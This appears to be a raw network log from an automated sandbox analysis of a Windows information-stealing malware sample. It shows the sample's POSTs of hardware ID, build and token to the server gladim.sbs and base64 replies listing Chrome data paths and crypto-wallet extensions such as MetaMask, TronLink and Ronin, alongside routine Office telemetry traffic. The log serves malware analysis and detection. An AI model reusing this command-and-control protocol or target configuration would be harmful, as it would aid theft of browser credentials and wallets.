2024-12-02 00:34:04 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFBAAEHCFHJJKEHJKJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:04 UTC	255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 35 31 43 36 44 42 38 37 31 38 31 39 34 33 30 31 37 39 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="hwid"2751C6DB8718194301792-a33c7340-61ca------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------KFCFBAAEHCFHJJKEHJKJ--
2024-12-02 00:34:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:05 UTC	70	IN	Data Raw: 33 62 0d 0a 31 7c 31 7c 31 7c 31 7c 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 7c 31 7c 31 7c 31 7c 30 7c 30 7c 31 30 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3b1\|1\|1\|1\|b08d2d0a84779662dfbff4542a110b35\|1\|1\|1\|0\|0\|100000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49702	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:06 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJKJJDBKEGIECAAECFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:06 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 Data Ascii: ------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------JKJKJJDBKEGIECAAECFHCont
2024-12-02 00:34:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:07 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49703	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:09 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:09 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 Data Ascii: ------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------BKJEHCAKFBGDGCAAAFBGCont
2024-12-02 00:34:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:09 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49704	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:11 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFBAAEHCFHJJKEHJKJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:11 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------KFCFBAAEHCFHJJKEHJKJCont
2024-12-02 00:34:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:12 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:12 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:12 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:12 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 29 Nov 2024 23:15:49 GMT ETag: "0x8DD10CBC2E3B852" x-ms-request-id: 82d9e4b2-501e-007b-3a87-435ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003412Z-174f78459688l8rvhC1EWRtzr00000000g9000000000bd72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:12 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-02 00:34:13 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-02 00:34:13 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-02 00:34:13 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-02 00:34:13 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-02 00:34:13 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-02 00:34:13 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-02 00:34:13 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-02 00:34:13 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-02 00:34:13 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49706	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
